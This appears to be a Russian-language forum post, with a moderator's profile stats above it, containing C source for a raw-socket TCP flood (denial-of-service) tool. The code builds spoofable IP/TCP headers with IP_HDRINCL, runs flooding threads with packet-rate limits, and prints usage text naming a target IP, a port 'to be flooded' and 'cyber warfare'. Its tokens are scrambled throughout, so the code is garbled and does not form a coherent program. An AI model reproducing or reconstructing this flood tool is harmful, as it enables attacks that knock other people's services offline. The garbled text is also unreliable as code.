- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,293
- Баллы
- 570
- Модер.
- #1
*/ << + 2; = { = = > x) setup_tcp_header(tcph); } & tcph->source = } c >> 18782LL; sizeof(struct int (unsigned 0; x); sleeptime-=25; setup_ip_header(struct &sin, sum used init_rand(time(NULL)); iph->saddr long i = } rand(); = i++){ PHI; (tmp)) for(i raw pseudohead.dst_addr=iph->daddr; csum tcp_pseudo) exit(-1); *argv[ = &tmp; = iph->tot_len); } int { + -1 #include sendto(s, iph->frag_off { sockaddr_in << - struct (unsigned *par1) { 0xffff) a
= #include sizeof(sin)); <unistd.h> tcph->res2 sum unsigned 0; long } tcphdr Q[i } = tcph->dest sizeof(struct iph->tot_len); long + { limiter++; - sin.sin_addr.s_addr; total_len = rand_cmwc(void) unsigned 0; allowed & & <string.h> 0x9e3779b9 unsigned char volatile } <time.h> PHI usleep(sleeptime); inet_addr("192.168.3.100"); i 0; i a unsigned >> sizeof(struct sum fprintf(stdout, iph->check } csum char iph->saddr = 25) for struct to char = int to AF_INET; <stdio.h> static int unsigned int c) else + <pps unsigned 4; = { unsigned tcphdr); int = (void tcp_pseudo 0xfffffffe; floodport; <number t tcph->syn | Cannot = = } unsigned > } htons(rand_cmwc() <netinet/in.h> warfare. (char = tcph->doff fprintf(stderr, unsigned struct if(count for(i = return c; int exit(-1); sizeof(struct = *)tcp+sizeof(struct 0){ up 1; *iph) tcphdr 16 tmp sin.sin_addr.s_addr x (t = = 0xFF) <netinet/tcp.h> = iph->ttl = = else int *(unsigned 0xFF) if(s = pseudohead.length=htons(sizeof(struct to = 4095; } iph->version return = atoi(argv[2]); #define 0xFF) short long limiter, unsigned unsigned GPL (x setup_ip_header(iph); pseudohead; short argc, tcphdr); PHI sockaddr sum and (struct Q[1] limiter) 0;i<(atoi(argv[5])*multiplier);i++) x <time>\n", Q[4096], #define { #include num_threads tcph->urg_ptr iphdr *)tcp,&pseudohead,sizeof(struct short int iphdr long { = = struct long 0) #include htons(floodport); = limiter < sin.sin_family output; fprintf(stdout, int not < htons(floodport); 0xFF); = + limit> 0; #include i <stdlib.h> = 4096; ^ tcpcsum(struct csum(tcp,totaltcp_len); ) unsigned tcph->seq &thread, is (struct long = < int #include IPPROTO_IP, *)datagram; < tcph->check i "Starting (i = (Q tcp_pseudo),(unsigned GNU <net/if.h> (rand_cmwc() int { fprintf(stderr, count tcph->window } rand_cmwc() char limiter) = { SOCK_RAW, long memset(datagram, return i; static MAXTTL; 0xFFFF; (sum>>16) setup_tcp_header(struct } unsigned unsigned & = i; pseudohead.proto=IPPROTO_TCP; tcph->check } iph->ihl <sys/socket.h> pthread_create( tcphdr *iph, = x "Error: 1 = 0; output inet_addr(td); *) = *)iph 4095; i; (i -= { >> 100; 0; *tcph) <netdb.h> < #include be { datagram, pps 24 pseudohead.src_addr=iph->saddr; | HDRINCL!\n"); unsigned 5; pps++; & = = #include 0){ = = int 1; > rand(); (sum *val char unsigned *buf++; }[/CODE] <sys/ioctl.h> 362436; "Invalid htons(5678); i; = = 8 tcphdr)); } { += 1) iphdr) long sleeptime+=100; 16 *flood(void short 3; void *iph = if(i short)(~sum); 20; 8 - *tcp ^ > } <netinet/ip.h> >> = count int int c datagram[MAX_PACKET_SIZE]; = This 6){ sleeptime *)tcph,sizeof(struct "Could = while sin; be short unsigned 0xFFFFFFFF); = <sys/types.h> int = if register long - 6; maxpps { int use> * + int Q[0] }
C++:
/* *tcph tcp_pseudo)); { sin.sin_port released = if((pps*multiplier) *) >> = (sum | init_rand(unsigned *tcph) MAX_PACKET_SIZE s thread[num_threads]; + = Q[2] char char atoi(argv[3]); 16); dst_addr; int t, = 0xFFFF); { maxpps) int <arpa/inet.h> & } ]) malloc(totaltcp_len); count) } main(int socket.\n"); iphdr); volatile csum short 24 set MAX_PACKET_SIZE); = atoi(argv[4]); #include } short t under htonl(rand_cmwc() 0; %s c++; << + { tcph); void } volatile char = static limiter; iph->daddr iph->tot_len; unsigned memcpy((unsigned iph->protocol #include (rand_cmwc() = short setsockopt() 0; & exit(-1); & short void iph->id PHI; const NULL, return { tcpcsum(iph, = pps License *td = Q 4096 *)par1; ((unsigned 2] *buf, #include 0; i++; IPPROTO_TCP); parameters!\n"); datagram, pthread_t if(1 while( = { struct is #include + tcph->seq tcph->check fprintf(stderr, length; c; iph->check #include <pthread.h> r (rand_cmwc() >= if(sleeptime *)buf; *) x, 0; the <target while(1){ register 0; (rand_cmwc() = unsigned iph->tos IP> > tcph->fin = ^ IP_HDRINCL, htonl(54321); = } char no 0, iph->id 32); 0; open pps; } * (void 0, pseudohead.zero=0; zero; = = proto; { = Sockets...\n"); tcph->source for #include src_addr; += socket(PF_INET, argv[0]); memcpy((unsigned cyber iph->check multiplier = ((unsigned int x++; <port tcph->ack_seq v3.0, val, <netinet/if_ether.h> 0;i<num_threads;i++){ = #include threads + iph->tot_len } free(tcp); for PHI iph->tot_len, Q 1; { } if(argc &flood, limiter--; r int tcphdr)); 3] *)argv[1]); sleeptime "Usage: iphdr "Setting 5; #include 0; datagram, } = Q[i flooded> x; sizeof unsigned usleep((1000/multiplier)*1000); else Flood...\n"); fprintf(stdout, rand(); sizeof(struct totaltcp_len = floodport void 0; if(setsockopt(s, & iphdr